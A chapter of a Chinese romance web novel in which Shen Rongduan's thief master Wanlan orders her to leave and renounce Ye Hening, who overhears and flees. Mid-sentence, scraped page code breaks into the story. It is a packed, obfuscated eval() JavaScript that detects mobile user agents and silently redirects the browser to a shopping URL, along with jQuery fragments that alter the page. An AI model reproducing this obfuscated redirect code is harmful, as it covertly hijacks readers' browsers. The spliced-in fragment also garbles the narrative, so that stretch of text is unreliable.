78. 第 78 章

作品:《只想将他捉拿归案

    “你先说你为何在此。”


    沈容端竭力压制住胸中的一股无名火,微微抬起下巴,凌厉的眼神刺向挽澜。


    “偷东西。”


    挽澜回答得倒是坦然无比。


    “偷什么东西?拿出来给我看。”


    沈容端句句紧逼,目光灼灼。


    她简直要被他气笑了。


    她向来知道挽澜这张嘴能把黑的说成白的,毕竟胡诌乱编是他的拿手好戏。


    可并这不代表,她能容忍他用这套伎俩来搪塞自己。


    他当她是什么?傻子吗?


    还偷东西。


    怕不是来偷人吧。


    正当她准备继续质问时,却没成想,挽澜竟然真的从怀中拿出一个做工精美的小锦盒。


    只见他指尖微微一挑,锦盒盖子应声而开。


    瞬间,一股清幽的药香便如流水般弥漫开来,整个屋子都笼罩在这股沁人心脾的香气中。


    沈容端微微一怔,目光不由自主地投向盒中。


    只见里面躺着一枚晶莹剔透的浅白色丹药,通体如美玉般温润光洁,在昏黄的烛光下竟散发出淡淡的光芒,仿若月色下的夜明珠。


    “这是紫霄灵凝丹。”


    挽澜不疾不徐地开口,似乎特意放慢了语速,仿佛在炫耀战利品:


    “此药由血珀草、云母粉、白龙藤汁制成。前两味药材还好说,白龙藤汁却极难得。它生长于极寒之地的悬崖峭壁之上,汲取天地灵气而成,向来有市无价。这丹药用来止血疗毒,功效奇佳。”


    他说得轻描淡写,嘴角甚至还挂着一抹淡淡的笑意,带着几分调侃的嘲弄,一副“看吧,我没骗你”的模样。


    “你受伤了?”


    沈容端心中一紧,眉间的冷意瞬间被担忧取代,语气急切。


    见她难得露出几分关心,挽澜眸中闪过一丝笑意,眉头稍稍舒展。


    “为师无碍。”


    他轻哼了一声,动作优雅地将盒盖合上,重新收好。


    随后,眯起眼,挑眉看向她,声音陡然冷了几分:


    “说吧,你在这儿做什么?”


    沈容端心中暗恼,又和他顶了几句嘴,终究还是把来龙去脉简单说了一遍。


    ……当然,省略了在猎场时的一些无关紧要的纷乱思绪,以及人际往来。


    听完,挽澜紧紧盯着沈容端,神色莫测,沉默不语。


    许久之后,他突然轻笑出声,唇角微扬,带着几分嘲讽与调笑:


    “怎么搞的,你竟然喜欢叶和凝。”


    沈容端猝不及防,整个人僵在原地,像被雷劈中一般。


    她……喜欢?


    喜欢叶和凝?


    然而,挽澜话音刚落,脸上的笑意骤然消失。


    他换上了一副肃然的神色,目光凌厉,语气强硬:


    “你不能喜欢他。我不允许你和叶家的人有任何牵扯。”


    他顿了顿,仿佛在下达命令般,语气不容置喙:


    “现在,收拾包袱,跟我走。”


    这突如其来的命令仿佛一盆冷水泼在沈容端头上,浇得她怔愣当场。


    挽澜这番蛮横态度让她一时说不出话来,胸中的火气却烧得更旺了几分。


    她瞪着挽澜:


    “凭什么。”


    挽澜冷笑了一声:


    “人家是当朝首辅的独子,你知道这是什么意思吗?你是哪根葱?你,只是我这个半夜翻他们家高墙的窃贼的徒弟。”


    “你同他云泥之别,你觉得你们有半分可能?赶紧给我清醒一点,沈、容、端!”


    每个字都像一根刺,狠狠扎进沈容端心里。


    她的胸口疼得一阵发紧,猛地往下沉。


    是啊,他说得没错。


    她不过是个籍籍无名的小人物,怎能奢望与高高在上的权贵子弟有牵扯?


    可她不甘心,不想承认。


    她死死咬住唇,强忍着喉间的酸涩,蓦然抬眸,倔强地与挽澜对视:


    “你以为人人都和你一样,冷血无情吗?”


    话音刚落,她的心中油然而生一丝后悔。


    她从未曾这样和他针锋相对。


    可今日,她的愤怒、委屈与隐忍一齐爆发,让她失去了平时的冷静。


    挽澜听到“冷血无情”这四个字,瞳孔微微一缩,眸中闪过一丝危险的寒光。


    下一刻,他突然笑了,笑意冷冽而又艳丽,像寒冬里盛放的红梅,妖冶得刺眼。


    他笑得肆无忌惮,笑到弯腰,甚至用手指揩了揩眼角,仿佛笑出了泪来。


    然后,他直起身,眼中的冷光如刀锋般凌厉,毫不留情地扎在她身上:


    “是,我无情。无情好啊,无情才难得。天地不仁,有情人,只会沦为刍狗!”


    “沈容端,你给我听好了。”


    挽澜的声音低沉而狠绝。


    “我挽澜,可不要一只狗当徒弟。”


    他微微俯身,目光紧紧锁住她,语气带着彻骨的寒意:


    “你今日跟我走,我就既往不咎;你若是不跟我走,我们便此生不复相见。”


    话音落下,空气中仿佛结了一层白霜,冰冷得令人窒息。


    沈容端脸色惨白,一瞬间失去了所有血色。


    她眼前晕眩,耳中嗡嗡作响,仿佛整个人都被这一句话劈得四分五裂。


    挽澜在说什么。


    不复相见?


    他……


    竟然不要她了?


    沈容端怔怔地看着挽澜,觉得有什么东西在心底崩塌。


    这个曾经将她从深渊中拉起来、给她温暖和希望的人,此刻竟然用这样无情的语气,说要和她一刀两断。


    脑中轰鸣作响,手心冰冷刺骨。


    她不知该做何反应,只觉那根断了指节的手指,仿佛又传来钻心的剧痛。


    一阵接一阵,像火烧般,从手指尖一直蔓延到心口。


    泪意涌上眼眶,她拼命忍住,不让眼泪流下来。


    她不能哭,不想在此刻的他面前露出半分软弱。


    可她的心却像被撕开了一道口子,冰冷的风呼啸而入,灌满了空荡荡的胸腔。


    两人情绪激动,屋内的气氛剑拔弩张,谁也没留意到门外那骤然停住的脚步声。


    ——是叶和凝。


    叶和凝在书房被叶世忠训了一炷香,又陪没去猎场的许琼花说了一会话。


    这一来一去,已是深夜。


    他犹豫要不要去找沈容端,在院中踌躇了半晌,心中反复琢磨着她今日对他的冷淡态度。


    原本打算明日再说,毕竟夜深人静,贸然前去,恐怕惊扰她休息。


    但回到房中,他却辗转反侧,怎么也无法入睡。


    她疏离淡漠的神情一次次浮现在眼前,像一道无声的屏障将他隔绝在外,令他百思不得其解。


    明明她生辰那日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737578|134893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,她还……


    思及此,叶和凝红了脸,轻声咳了咳。


    思来想去了半夜,他终究心乱如麻,心头焦灼之感更胜。


    无奈之下,他干脆披衣起身,坐在院中的石凳上,借着微凉的夜风,试图冷静心绪。


    正当他眉头紧锁、凝神静坐时,忽然听见家仆匆匆的脚步声,打破了夜的宁静。


    “怎么回事?”


    叶和凝疾步上前,皱眉问道。


    “少爷,好像有人闯进来了!”


    叶和凝闻言,心中一凛,几乎立刻担心起沈容端的安危。


    他不敢多想,心跳仿佛漏了一拍,下一刻便已拔腿狂奔,直冲向她的别院。


    然而,当他气喘吁吁地赶到沈容端别院时,眼前的景象却与他想象的截然不同——


    没有打斗声、没有呼喊,院中寂静得如同一潭死水。


    他微微皱眉,眼神凝重,缓缓靠近紧闭的房门。


    正打算轻轻叩门询问,却被屋中传来的声音猛然钉在了原地。


    那是个男人的声音。


    低沉中带着一丝不羁,尾音微扬,透着几分靡丽。


    听起来约莫二十来岁。


    他说,要她跟他走。


    他以此生不复相见相逼。


    叶和凝脑中嗡的一声,整个人仿佛被当头劈了一记闷雷。


    他的手指微微颤抖,连指节都因过度用力而发白。


    心中涌起一股无法遏制的怒火与不安,却被另一种更加复杂的情绪死死压住——


    他不知道,自己该不该冲进去。


    万一破门而入,看到的会是什么样的场景?


    屋内静谧得可怕,男人的声音落下后,霎时陷入了死一般的沉寂。


    沈容端迟迟没有回音。


    随后,叶和凝的耳中突然捕捉到了她微弱而破碎的低泣声。


    叶和凝只觉心口猛地一抽,仿佛被一只看不见的手狠狠攥住了。


    他从未听过她这样哭泣。


    沈容端向来骄傲又倔强,哪怕受了再大的委屈,也从不在人前露出脆弱的模样。


    哪怕在梦里伤心,她也只是克制地落几滴泪。


    可此刻,她的哭声里满是压抑的痛楚,像一把钝刀。


    一下一下磨着他的心。


    她在因为一个男人哭。


    哭成这样。


    “好,你很好。你现在真是翅膀硬了,忘了当年哭着跪在地上求我的样子了。”


    男人的声音再次响起,比刚才更加冰冷刺骨。


    叶和凝呼吸一窒,传来一阵撕心裂肺的绞痛。


    他知道自己应该做点什么——


    冲进去、质问那个男人,甚至把他拽出来狠狠打一顿。


    可他没有。


    他没有勇气再听下去。


    也没有勇气推开那扇门。


    他不知道自己是怎么离开的那扇门前。


    他只觉得,自己如果再听下去,就会很难过,很难过。


    他害怕。


    所以他踉跄逃出,如同失了魂般,呆呆地靠在墙边,脸色苍白。


    正在巡视的下人见状,急忙上前扶住他,声音中满是担忧:


    “少爷,您无碍吧?”


    叶和凝沉默了许久,才终于挤出几句艰涩的话语,声音低哑而无力:


    “你们不用查了,没有什么闯进来的人。”


    “刚刚是我。”